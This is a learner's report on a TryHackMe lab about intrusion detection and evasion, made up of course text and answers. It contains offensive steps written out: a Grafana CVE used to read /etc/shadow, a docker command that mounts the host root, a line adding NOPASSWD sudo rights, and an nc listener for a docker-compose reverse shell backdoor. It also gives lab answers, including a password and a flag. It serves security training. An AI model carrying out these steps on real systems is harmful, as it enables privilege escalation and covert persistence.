

Task 8 : Intrusion Detection THM Room Report

Profile: <https://tryhackme.com/p/anusreebabu.2401>

Task 2: Intrusion Detection Basics

Task 2 Intrusion Detection Basics

Intrusion detection systems (IDS) are a tool commonly deployed to defend networks by automating the detection of suspicious activity. Where a firewall, anti-virus, or authorisation system may prevent certain activity from occurring on or against IT assets, an IDS will instead monitor activity that isn't restricted and sort the malicious from the benign. IDS commonly apply one of two different detection methodologies; Signature (or rule) based IDS will apply a large rule set to search one or more data sources for suspicious activity whereas, Anomaly-based IDS establish what is considered normal activity and then raise alerts when an activity that does not fit the baseline is detected.

Either way, once an incident is detected, the IDS will generate an alert and will then forward it further up the security chain to log aggregation or data visualisation platforms like Graylog or the ELK Stack. Some IDS may also feature some form of intrusion prevention technology and may automatically respond to the incident.

Two signature-based IDS are attached to this demo; Suricata, a network-based IDS (NIDS), and Wazuh, a host-based IDS (HIDS). Both of these IDS implement the same overarching signature detection methodology; however, their overall behaviour and the types of attacks that they can detect differ greatly. We will cover the exact differences in more detail in the following tasks.

Answer the questions below

What IDS detection methodology relies on rule sets?

signature-based detection

✓ Correct Answer

Task 3: Network-based IDS

of alerts, this is not always enabled as automated blocking can conflict with a high false-positive rate. Note, that NIDS rely on having access to all of the communication between nodes and are thus affected by the widespread adoption of in-transit encryption.

A variety of open source and proprietary NIDS exist, the node in this scenario is protected by the open source NIDS, Suricata. For this, demo the IPS mode is disabled so you are free to run as many attacks as you want. In fact, try and run some of your favourite tools against the target and see how the different IDS respond. A history of all the alerts generated during this room is available at http://MACHINE_IP:8000/alerts

Answer the questions below

What widely implemented protocol has an adverse effect on the reliability of NIDS?

TLS

✓ Correct Answer

🔍 Hint

Experiment by running tools against the target and viewing the resultant alerts. Is there any unexpected activity?

No answer needed

✓ Correct Answer

🔍 Hint

Task 4: Reconnaissance and Evasion Basics

buried undersea by other attacks. On the other hand, publicly exposed assets may also be protected by rate-limiting tools like `fail2ban`. Scanning a site that is under the protection of such a tool is likely to result in your IP getting banned very quickly.

Conversely, if you're scanning an important database behind a corporate `firewall` that should never be accessed from the outside, a single `IDS` alert is likely to be the cause of some alarm. Note that, the scoring system does take this into account so the results you see for attacks against the target web server will be reduced when compared with the assets that will be attacked later in this room (the scoring system works somewhat like Golf so a higher score is worse).

We should also consider the exact definition of evasion as applied to `IDS`; it can either be complete, where no `IDS` alerts are triggered as a result of hostile actions, or, partial where an alert is triggered but, its severity is reduced. In some scenarios, complete evasion may be the only option for example, if valuable assets are involved. In other cases partial evasion may be just as good as low severity `IDS` alerts particularly from, `NIDS` are much less likely to be investigated, or even forwarded further up the alert management chain. Again, this is reflected by the scoring system as it will take the reliability of each of the attached `IDS` into account when scoring alerts.

Answer the questions below

What scale is used to measure alert severity in Suricata? (*-*)

✓ Correct Answer

🔍 Hint

How many services is nmap able to fully recognise when the service scan (-sV) is performed?

✓ Correct Answer

🔍 Hint

Task 5: Further Reconnaissance Evasion

Room progress (39%)

More practical options from the field of open-source intelligence may also be available and will be covered in the next task.

✓ Woop woop! Your answer is correct

Answer the questions below

Nikto, should find an interesting path when the first scan is performed, what is it called?

✓ Correct Answer

What value is used to toggle denial of service vectors when using scan tuning (-T) in nikto?

✓ Correct Answer

🔍 Hint

Which flags are used to modify the request spacing in nikto? Use commas to separate the flags in your answer.

✓ Correct Answer

🔍 Hint

Task 6: Open-source Intelligence

Room progress (56%)

Answer the questions below

What version of Grafana is the server running?

8.2.5 ✓ Correct Answer ? Hint

What is the ID of the severe CVE that affects this version of Grafana?

CVE-2021-43798 ✓ Correct Answer ? Hint

If this server was publicly available, What site might have information on its services already?

shodan ✓ Correct Answer

How would we search the site "example.com" for pdf files, using advanced Google search tags?

site:example.com filetype:pdf ✓ Correct Answer

Task 7: Rulesets

Room progress (69%)

Answer the questions below

What is the password of the grafana-admin account?

GraphingTheWorld32 ✓ Correct Answer ? Hint

Is it possible to gain direct access to the server now that the grafana-admin password is known? (yay/nay)

yay ✓ Correct Answer ? Hint

Are any of the attached IDS able to detect the attack if the file /etc/shadow is requested via the exploit, if so what IDS detected it?

Suricata ✓ Correct Answer ? Hint

Task 8: Host based IDS

Room progress (78%)

Wazuh will create thousands of alerts as it will detect each 400 error code created as a result of running the vuln script as this attack creates entries in the error log which, is one of the sources that Wazuh reads from if it has been configured too.

✓ Woop woop! Your answer is correct

Answer the questions below

What category does Wazuh place HTTP 400 error codes in?

web ✓ Correct Answer ? Hint

Play around with some post-exploitation tools and commands and make note of what activity is detected by Wazuh; compare it to the activity that's detected by Suricata.

No answer needed ✓ Correct Answer

Task 9: Privilege Escalation Recon

Room progress (86%)

also the question of transporting the script to the target system, Suricata is capable of detecting when scripts actually detect the traffic without the deployment of web proxy servers. It may also be possible to simply copy some form of file system integrity monitoring which would detect the addition of the script even if an antivirus was not installed, more on this later.

Either way, `linpeas` should be able to identify a potential privilege escalation vector.

Answer the questions below

What tool does linPEAS detect as having a potential escalation vector?

docker

✓ Correct Answer

🔍 Hint

Is an alert triggered by Wazuh when linPEAS is added to the system, if so what its severity?

5

✓ Correct Answer

🔍 Hint

Task 10: Performing Privilege Escalation

Room progress (91%)

`docker run -it --entrypoint=/bin/bash -v /:/mnt/ ghcr.io/jroo1053/ctfscorapache:master`

✓ Woop woop! Your answer is correct

This will spawn a container in interactive mode, overwrite the default entry-point to give us a shell, and mount then edit one of the following files to gain elevated privileges:

- `/etc/group` We could add the `grafana-admin` account to the root group. Note, that this file is covered by the HIDS
- `/etc/sudoers` Editing this file would allow us to add the grafana-admin account to the sudoers list and thus, we would be able to run `sudo` to gain extra privileges. Again, this file is monitored by Wazuh. In this case, we can perform this by running:
`echo "grafana-admin ALL=(ALL) NOPASSWD: ALL" >>/mnt/etc/sudoers`
- We could add a new user to the system and join the root group via `/etc/passwd`. Again though, this activity is likely to be noticed by the HIDS

Try a few of these options and note the resultant IDS alerts.

Answer the questions below

Perform the privilege escalation and grab the flag in /root/

{SNEAK_ATTACK_CRITICAL}

✓ Correct Answer

Task 11: Establishing Persistence

Room progress (95%)

```
nc -lvnp 4242
```

Then start the service on the host with:

```
docker-compose up
```

Once these are performed you should have a way to access the vulnerable host without relying on `SSH`, a vulnerable service, or user credentials. Of course, you will still be able to use these other methods in conjunction with the docker-compose reverse shell as, backups.

Answer the questions below

Abuse docker to establish a backdoor on the host system

No answer needed

✓ Correct Answer

Task 12: Conclusion



You did it! 🇬🇧

Intrusion Detection complete!

Points earned

🎯 144

Completed tasks

📋 12

Room type

👤 Walkthrough

Difficulty

📊 Medium

Streak

🔥 1

🗉 Leave Feedback

Continue